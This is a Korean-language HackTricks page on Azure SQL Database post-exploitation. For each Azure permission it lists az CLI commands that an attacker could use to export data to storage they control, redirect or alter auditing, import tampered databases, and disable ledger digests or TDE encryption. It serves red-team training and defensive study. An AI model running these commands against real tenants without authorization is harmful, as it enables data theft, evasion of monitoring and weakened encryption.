Az - SQL Database Post Exploitation
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SQL Database Post Exploitation
SQL Database에 대한 자세한 정보는 다음을 확인하세요:
Microsoft.Sql/servers/databases/read
, Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
이 권한을 통해 공격자는 손상된 환경 내에서 데이터베이스를 생성하고 업데이트할 수 있습니다. 이 사후 활용 활동은 공격자가 악성 데이터를 추가하거나 데이터베이스 구성을 수정하거나 추가적인 지속성을 위한 백도어를 삽입할 수 있게 하여, 운영을 방해하거나 추가적인 악의적인 행동을 가능하게 할 수 있습니다.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
이 권한(Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
)으로 삭제된 데이터베이스를 복원할 수 있습니다:
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write
&& Microsoft.Sql/servers/elasticPools/read
이 권한을 통해 공격자는 손상된 환경 내에서 elasticPools를 생성하고 업데이트할 수 있습니다. 이 사후 활용 활동은 공격자가 악성 데이터를 추가하거나 데이터베이스 구성을 수정하거나 추가적인 지속성을 위한 백도어를 삽입할 수 있게 하여, 운영을 방해하거나 추가적인 악의적인 행동을 가능하게 할 수 있습니다.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read
&& Microsoft.Sql/servers/auditingSettings/write
이 권한을 사용하면 Azure SQL Server의 감사 설정을 수정하거나 활성화할 수 있습니다. 이는 공격자나 권한이 있는 사용자가 감사 구성을 조작하여 흔적을 감추거나 감사 로그를 자신이 제어하는 위치로 리디렉션할 수 있게 할 수 있습니다. 이는 보안 모니터링을 방해하거나 행동을 추적할 수 있게 할 수 있습니다. 주의: Blob Storage를 사용하여 Azure SQL Server에 대한 감사를 활성화하려면 감사 로그를 저장할 수 있는 스토리지 계정을 연결해야 합니다.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read
, Microsoft.Sql/servers/connectionPolicies/read
&& Microsoft.Sql/servers/connectionPolicies/write
이 권한을 사용하면 Azure SQL Server의 연결 정책을 수정할 수 있습니다. 이 기능은 서버 수준의 연결 설정을 활성화하거나 변경하는 데 악용될 수 있습니다.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
이 권한을 사용하면 Azure SQL Server에서 스토리지 계정으로 데이터베이스를 내보낼 수 있습니다. 이 권한을 가진 공격자 또는 승인된 사용자는 데이터베이스에서 민감한 데이터를 내보내어 자신이 제어하는 위치로 유출할 수 있으며, 이는 상당한 데이터 유출 위험을 초래합니다. 이를 수행하기 위해서는 스토리지 키를 아는 것이 중요합니다.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
이 권한을 사용하면 Azure SQL Server에 데이터베이스를 가져올 수 있습니다. 이 권한을 가진 공격자 또는 승인된 사용자는 악성 또는 조작된 데이터베이스를 업로드할 수 있습니다. 이는 민감한 데이터에 대한 제어를 얻거나 가져온 데이터베이스 내에 유해한 스크립트나 트리거를 삽입하는 결과를 초래할 수 있습니다. 추가로, Azure의 자신의 서버로 가져올 수 있습니다. 참고: 서버는 Azure 서비스와 리소스가 서버에 접근할 수 있도록 허용해야 합니다.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write
&& Microsoft.Sql/servers/connectionPolicies/read
이 권한을 가진 사용자는 Azure SQL 서버의 연결 정책을 수정하고 검색할 수 있습니다. 이러한 권한은 클라이언트가 서버에 연결하는 방식을 변경할 수 있게 하며, 리디렉션 또는 프록시와 같은 방법 중에서 선택할 수 있습니다. 잘못 구성된 경우 보안을 약화시키거나 트래픽을 리디렉션하거나 민감한 데이터를 가로챌 수 있습니다.
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write
&& Microsoft.Sql/servers/keys/read
이 권한을 가진 사용자는 Azure SQL Server와 관련된 암호화 키를 업데이트하고 검색할 수 있습니다. 이러한 키는 종종 암호화를 통해 민감한 데이터를 보호하는 데 사용되므로, 이를 조작하면 무단 복호화 또는 키 회전 변경을 허용하여 데이터 보안을 위협할 수 있습니다.
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action
, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read
, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
이 권한은 Azure SQL Database의 Ledger Digest를 비활성화할 수 있게 하며, 이는 데이터의 무결성을 검증하는 암호화 다이제스트 레코드를 Azure Blob Storage에 주기적으로 업로드하는 것을 중단합니다.
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write
, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read
, Microsoft.Sql/servers/databases/transparentDataEncryption/read
이 권한은 인증된 사용자 또는 공격자가 Azure SQL 데이터베이스에서 투명 데이터 암호화(TDE) 설정을 활성화, 비활성화 또는 수정할 수 있게 하여 암호화 구성을 변경함으로써 데이터 보안에 영향을 미칠 수 있습니다.
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.